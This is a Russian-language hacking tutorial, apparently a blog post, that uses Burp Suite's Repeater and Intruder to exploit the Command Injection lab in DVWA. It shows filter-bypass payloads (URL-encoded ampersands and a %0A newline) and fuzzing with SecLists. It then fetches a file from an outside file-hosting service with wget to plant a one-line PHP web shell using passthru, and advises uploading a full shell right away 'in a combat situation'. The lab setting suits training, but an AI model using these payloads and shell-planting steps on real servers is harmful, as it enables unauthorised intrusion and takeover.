Repeater — инструмент для ручной модификации запросов и тестирование их на сервере. Давай я просто покажу тебе как это работает и для чего оно нужно.

Открой свой сайт DVWA и залогинься. Слева представлен список того на чем можно потренироваться. А ниже кнопка «DVWA Security» нажимай на нее. Поменяй уровень защиты на Low и жми Submit. Сайт подбирает механизмы защиты в зависимости от уровня. Сейчас ты выставил режим при котором защиты нет никакой. Это поможет мне продемонстрировать технологию проведения атаки.

Брутфорс пропускаем и идем в Command Injection. Тут представлено поле для ввода ип адреса для проведения пинга сервера. Сам по себе сайт не проводит пинг, пинг проводит сервер. Такой механизм можно найти у себя в роутере, имеется ввиду на сайте административной панели управления конфигурацией роутера. Фишка нужная, таким образом можно диагностировать проблемы связанные с подключением к интернету. Впиши ip локалхоста и жми Submit. Кстати внизу ты можешь увидеть 3 ссылки на описание уязвимости, а еще ниже кнопку View Source, которая покажет тебе код бекенда. Пока что не трогай ничего. Засабмитил?

Теперь давай посмотрим на сорец (source). Когда ты отправляешь запрос начинается построчное выполнение этого кода, первая точка проверяет наличие параметра Submit в посте, если он есть, то точки ниже будут выполняться, если нет, то не будут :-). Вторая точка получает значение параметра ip из тела запроса, при этом обрати внимание, код просто получает данные, не проводя никакой дополнительной работы, третья точка проверяет под какой ОС запущен веб сервер, если это винда то выполнится зеленая точка, если нет, то красная. Надо было перую точку сделать синей. Ну в нашем случае всегда будет красная, хотя суть всегда одна и таже будет. Смотри на красную точку, переданный нами параметр просто склеивается с 'ping -c 4 ', т.е. если ты передашь слово "hui" то будет выполнена команда "ping -c 4 hui", понятно? Потому что в переменную таргет просто записывается значение параметра ip в запросе и просто склеивается с командой на пинг. Можешь попробовать и получишь

Ну да, нет такого сервиса или имени :-) Отлично, раз ты получил на выходе ошибку команды пинг, а не что то другое, ну например введенное вами слово не является IP адресом, что было бы уместно при парсинге и валидации твоего запроса, означает, что ты можешь пользоваться всеми преимуществами командного интерпретатора Bash. Я вполне уверен, что ты справишься тут и без меня. Попробуй! Не тыкать же тебя носом как маленького слепого котеночка :-)

Пакет уже перехватился барпом. Открой вкладку Target → Site map и найди там свой локалхост. В окошке справа ты увидешь историю запросов на этот адрес, а внизу сами запросы и ответы. Еще правее отчет проведения анализа. В данном случае в списке сайтов, когда развернешь свой локалхост, ты увидишь не только login.php и остальные запросы которые реально делал, а еще и другие пути, по которым ты вроде как не переходил, кстати они, как видишь, серые, а те что были посещены черные. Это потому что барп проводит пассивное сканирование. Выбираем наш пост запрос и отправляем в репитер.

Итак, ПКМ в окне истории запросов на нужный пост запрос и Send to Repeater. Теперь можно настраивать сам запрос. Перейди на вкладку репитера и добавить свой пейлоад в параметр ip, и отправить.

Как ты можешь заметить из анализа запроса, уровень сложности хранится в куках, в параметре security. Попробуй повысть сложность до medium и попробовать еще раз. Не получилось? Теперь тебе придется подумать :-) Вообще в этом деле думать основной вид деятельности. Первое куда нужно обратить внимание, что тебе ответил веб сервер.

Т.е. точка с запятой была убрана из запроса. Да, это один из вариантов фильтрации, можешь повысить сложность в вебе и посмотреть сорец. А вообще в окне просмотра сорца есть возможность посмотреть сорцы для всех уровней сложности сразу. А сейчас не нужно этого делать. Оставь на потом, не ломай интригу. Итак, что еще можно предпринять вместо точка с запятой? Например оператор &&. Пробуем.... и ничего :-)

Это потому что & является символом URL и служет для разделения параметров и не важно пост параметры или гет. У тебя есть вкладка Decoder в которой ты можешь закодировать & в URL и получится %26. Теперь вставь 2 %26 вместо двух &.

Вот так будет правильно. И все равно наш запрос был отфильтрован. Какой еще вариант? Правильно, использовать оператор &. И тогда твой запрос пройдет. Теперь можешь посмотреть сорец.

Попробуем higth. Если посмотреть что фильтрует эта сложность, то можно сделать вывод, что нам не пробиться. Хм... Мы научились пользоваться репитором и да он удобен когда нужно сделать несколько ручных тестов, вот только тестировать тут можно больше чем кажется на первый взгляд. Я хочу чтобы ты скачал себе репозиторий со всем нужным набором для фрезировщика, я знаю несколько:

• fuzz.txt - тут есть довольно большие списки, наверное самым полезным будет список расширений.

• fuzzdb - большой набор всевозможных списков. ! Есть там ошибка, в одном из списков путь до environ указан с ошибкой. Или /proc/self/envron и добавь букву недостающую.

• SecLists - этим пользуюсь я.

Ищи список на проверку OS Command Injection под нашу ОС, естественно. Процесс показан на гифке. И сори за плохое качество, пришлось ухудшить чтобы скинуть веса.

Вот для этого и нужен интрудер! Объясняю что он нашел. %0A - это закодированный в URL управляющий символ LF - это символ перевода строки.

Можно было поступить иначе, отправить этот пост запрос на активный скан "Do an active scan" и барп нашел бы тут инъекцию, вот только для этого он отправил бы 600-700 запросов, а тут всего 70. Чтобы понять в чем соль, отправь на активное сканирование этот запрос и открой лог апача на чтение

tail -f /var/log/apache2/error.log

или access.log, первое нагляднее потому что там именно ошибки вызванные запросами. Иногда такой подход может пресечь попытку взлома еще на этапе сканирования. Я рекомендую пользоваться таким сканированием реже.

И что? Все? Ну могу я посмотреть под кем запущен апач, а толку то? Давай покажу. Возможность выполнять команды на стороне сервера дает нам другую возможность, получить контроль над сервером ну или частично его контролировать. Каким образом? Шевели извилинами! Мы можем выполнить любую команду Bash! А значит и wget мы можем выполнить, т.е. скачать шелл на сервер и все. Один из вариантов это написать oneline шелл в pastebin, нажать кнопку Raw и выполнить команду

wget URL -O shell.php

Вот только в нашем случае такое не проканает, потому что символ - будет удален из запроса. Тогда надо искать ФО которое позволит нам скачать php файл, потому что если wget не получает аргумента -O то он сохранит содержимое страницы с имемнем файла из URL. Т.е. если урл выглядит "http://site.ru/kalaka/malaka/name.ext" то без параметров wget сохранит файл в директорию из который был запущен с именем "name.ext". Отличная фича. Можно воспользоваться ФО transfer.sh. Пишем простейший пхп шелл

<?php passthru($_GET["x"]); ?>

Можно добавить его в коллекцию шеллов к себе. И запомни: никогда не используй укороченный синтаксис "<? SAME_CODE ?>" так как эту возможность нужно отдельно включать в настройка php.ini, используй полный синтаксис "<?php SAME_CODE ?>". Грузи на ФО с расширением .php. И теперь осталось только скачать этот шелл.

Ошибок нет, теперь можно попробовать открыть шелл.

Ну в боевой ситуации я рекомендую сразу лить нормальный шелл, если этому ничего не препятствует. Потом уже искать для него теплое местечко.

Да, тут ты можешь начать думать, что такие ошибки могут быть только в самописных сайтах нищенского бюджета и что в более менее серьезных сайтах или движках такого точно быть не может. Я тебя удивлю, дырок нет только в двух местах: там где никто не искал и там где плохо искали. Весна этого года нас радует не хуже 17-го, например две уязвимости в роутерах GPON: обход авторизации и, та-дам, RCE, которая была найдена на странице, барабанная дробь, пинга. Да, роутерам дохренища лет, тем не менее таких почти 200к и все они с 0-day которую даже устранять не будут потому что контракты прошли. Вот тебе и опровержение твоим догадкам. Мало? SambaCry тоже RCE. В гите весной нашли RCE. Да такое может быть везде. Просто нужно понимать, одно дело, уязвимость приложения по оплошности программиста, как в данном случае, недостаточная фильтрация. Другое дело уязвимость в продукте которым занимается одна компания, т.е. OS Command Injection может быть в любом месте где выполнение команд ОС пересекается с пользовательскими данными. А вот если все обновят гит, то ты больше не встретишь RCE в гите, ну ту что нашли. Тоже самое с SQL-Injection, ей столько же лет сколько языку SQL и казалось бы, нигде она теперь встречаться не должна, ведь за 20 лет все набили шишки и знают как фильтровать данные пользователя или юзают механизмы ORM, как в Django например. Нихуя, drupalgeddon2 - скуля найденая в движке Drupal для эксплуатации которой даже регаться не надо и подвержены ей версии 7 и 8 (ну там с копейками). Или еще интересно, LFI. Тоже стремная дырка которая старее тебя и тут тоже можно начать думу думать, что ее нигде нет.

Представляю тебе: LFI

Ну ладно, на момент написания статьи yves-rocher.com устранили уязвимость :-) А знаешь что самое смешное? На днях отчет опубликовали, в котором нашли несколько ботнетов (именно управляюще сервера нашли) которые не просто светили в интернет дефолтный порт MySQL (3600), а в догонку использвали учетные данные root/root. Ор выше гор :-) Так что засунь себе в очече свои предрассудки и пехали дальше.